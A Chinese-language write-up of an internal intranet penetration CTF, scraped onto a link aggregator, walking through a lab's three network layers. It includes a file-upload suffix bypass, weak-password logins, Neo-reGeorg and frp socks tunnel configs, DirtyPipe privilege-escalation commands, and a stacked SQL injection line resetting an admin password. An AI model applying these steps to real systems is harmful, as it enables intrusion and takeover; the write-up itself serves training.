6

某内网渗透内部赛 Writeup

 8 months ago
source link: https://5ime.cn/msa-intranet-penetration.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
某内网渗透内部赛 Writeup

某内网渗透内部赛 Writeup

第一次打内网渗透类的竞赛,以前渗透都是点到为止,整体感觉还是挺有意思的。

Tips:先尝试进行最简单的信息收集吧~

robots.txt 中发现账号密码和 flag

User-agent:*
Disallow:/admin/
Disallow:/user/
Disallow:/admin:admin888
Disallow:flag{9e3f0ff79b5393c99beb9a6ceba19597}

tips:后台有输入限制锁定,看看哪边能找到登录的用户名和密码吧~

使用前面得到的账号密码直接登录,在 网站设置 里得到 flag

image-20231205100046910

webshell

尝试上传个webshell看看吧,出题人为降低难度,把过滤都给删了

没任何过滤直接找个上传点上传即可,在 C:/phpstudy_pro/发现 flag

flag{701c559f41d73ecb0d7560f8429470fd}
image-20231205100723231

tisp:出题人为降低难度,把第一层的提权给删了,白送一个flag

确实白送,直接在 Administrator 用户的桌面得到 flag 以及下一题的附件

image-20231205100917207

某企业程序员针对内网环境所涉及的文件交互进行了安全防护。某红客渗透测试过程中,针对流量进行分析,发现其安全防护存在漏洞,可以通过某些手段获取其中的文件信息。请分析靶机桌面提供的wireshark压缩包,分析出文件信息。

FTP-DATA 流量,直接导出即可

image-20231205101122555

zip 文件存在加密,同时 txt 文件给出了掩码 HelloHOLO_xxxxxx 直接爆破即可

flag{e1ea931b9e669bc9bed22dc0dd710359}
image-20231205101322511

tips:赶紧搭建代理进入第二层吧,为降低难度,出题人把过滤给删除了~

通过 arp -a 发现双网卡

image-20231205101647744

直接传个 fscan 扫一扫 10.10.10.10/24 看看有没有什么资产

[*] WebTitle: http://10.10.10.20        code:200 len:3083   title:人力HR-员工信息维护系统
[*] NetBios: 10.10.10.10 WORKGROUP\WIN-IFPVISPB8CQ Windows Server 2012 R2 Datacenter 9600
[+] mysql:10.10.10.20:3306:root 123456
[*] WebTitle: http://10.10.10.10 code:200 len:18668 title:zzcms专业做招商网的程序源码

那没啥好说的, 3306 弱口令直接连上得到 flag

image-20231205103553225

根据前面 fscan 的结果来看存在一个网站,由于不出网我们直接使用 Neo-reGeorg 正向代理映射出来

python neoreg.py generate -k password
python neoreg.py -k password -u http://<马赛克>/tunnel.php
image-20231205103852126
image-20231208203117339

映射后直接使用弱密码 admin:admin888 登录后台,得到 flag

image-20231205103927557

这里在提供一种 Frp 代理的方法

# frps.ini
[common]
Bind_addr = 0.0.0.0
bind_port = 7000
# frpc.ini
[common]
server_addr = 服务器地址
server_port = 7000
[plugin_socks6]
type = tcp
remote_port = 7779
plugin = socks5
# socks5
socks5://服务器地址:7779

webshell

tips:这次是有过滤的哦~

直接个人照片处上传木马即可,过滤直接通过后缀大小写混写绕过

image-20231205104045797

/var/www/flag 得到 flag

image-20231205105058697

通过内核探针 linux-exploit-suggester.sh 扫描发现为 CVE-2022-0847

# 编译
gcc dirtypipez.c -o dirtypipez
# 查找 SUID
find / -perm -u=s -type f 2>/dev/null
# 提权
./dirtypipez /usr/bin/su

但是由于哥斯拉一直得不到交互式shell,所以我们用冰蝎的虚拟终端中转下吧

flag{c79a9b423622434c35d0a2099c7dbb07}
image-20231206115658613

ps: 后期突然发现哥斯拉有一个 superTerminal 功能…

image-20231208195253024

运维管理员在运维服务器过程中被黑客进行了流量抓取,记录了运维管理员的相关操作,黑客把数据包放在了站点路径下,请选手获取数据包并进行分析,分析出文件信息。

通过前面上传的 Webshell/var/www/html 中得到 EasyUSB.zip

image-20231205105123192

直接脚本跑一下得到解析后的内容,简单格式化一下代码后运行即可。

image-20231205104206278
from Crypto.Cipher import DES
key = b'20232023'
ad = b'flagdesencrypt!!'
cipher = DES.new(key,DES.MODE_ECB)
enc = cipher.encrypt(ad)
flag = enc.hex()
print(flag)
# fab588adc8fb6741c949fe74dbf613a1

Tips:进入第三层,白送一个flag

首先 fscan 扫一下发现 20.20.20.30 存在一个网站

[*] WebTitle:http://20.20.20.30        code:302 len:0      title:None 跳转url: http://20.20.20.30?m=login
[*] WebTitle:http://20.20.20.20 code:200 len:3083 title:人力HR-员工信息维护系统
[*] WebTitle:http://20.20.20.30:8899 code:200 len:45 title:None
[*] WebTitle:http://20.20.20.30?m=login code:200 len:4012 title:信呼协同办公系统
[+] mysql:20.20.20.20:3306:root 123456
[*] WebTitle:http://20.20.20.30:9080 code:404 len:111 title:404 File not found
[+] mysql:20.20.20.30:3306:root root

这里就需要二层代理了,我们既要运行 frps 又要运行 frpc

# 第一层 frps.ini
[common]
Bind_addr = 0.0.0.0
bind_port = 7000
# 第一层 frpc.ini
[common]
server_addr = 服务器地址
server_port = 7000
[plugin_socks6]
type = tcp
remote_port = 7779
plugin = socks5
# socks5
socks5://服务器地址:7779

# 第二层 frpc.ini
[common]
server_addr = 10.10.10.10
server_port = 7000

[plugin_socks]
type = tcp
remote_port = 700
plugin = socks5

然后我们通过 Proxifier 配置个代理链

image-20231208211505434
image-20231208205301647

依旧是在 robots.txt 发现 flag

flag{a0e9b4a803a1f9fa510aba179fbed179}

通过上面我们得到的 mysql 弱口令连接后得到密码 md5

62c8ad0a15d9d1ca38d5dee762a16e01:1234qwer
image-20231208210925996

登陆后在 公告 中发现 flag

flag{559e179db083aa9e3ca4174fa43804e6}
image-20231208214152924

webshell

信呼OA 文件上传漏洞 CVE-2023-1501,直接跟着复现即可

image-20231211174914101

/www/admin/localhost_80 发现 flag

image-20231208214631021

找了半天内核漏洞,发现都不是,突然想起来 fscan 还扫出来一个网站

[*] WebTitle:http://20.20.20.30:9080   code:404 len:111    title:404 File not found

访问后发现为小皮面板,注意请求的时候加个请求头,不然报 404

X-Requested-With: XMLHttpRequest
image-20231208221549232

一开始先入为主,以为是 XSS + CSRF 通过计划任务实现 RCE,参考我以前的文章 PHPStudy RCE 分析 ,可等了半天 XSS 也没被触发, 没办法百度搜索一番还有一个堆叠注入,我们直接修改管理员密码为 123456

admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
image-20231211163828450

通过计划任务得到 flag

flag{c06384d8254dfd903191d205a5fafd4a}
image-20231211163657767

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK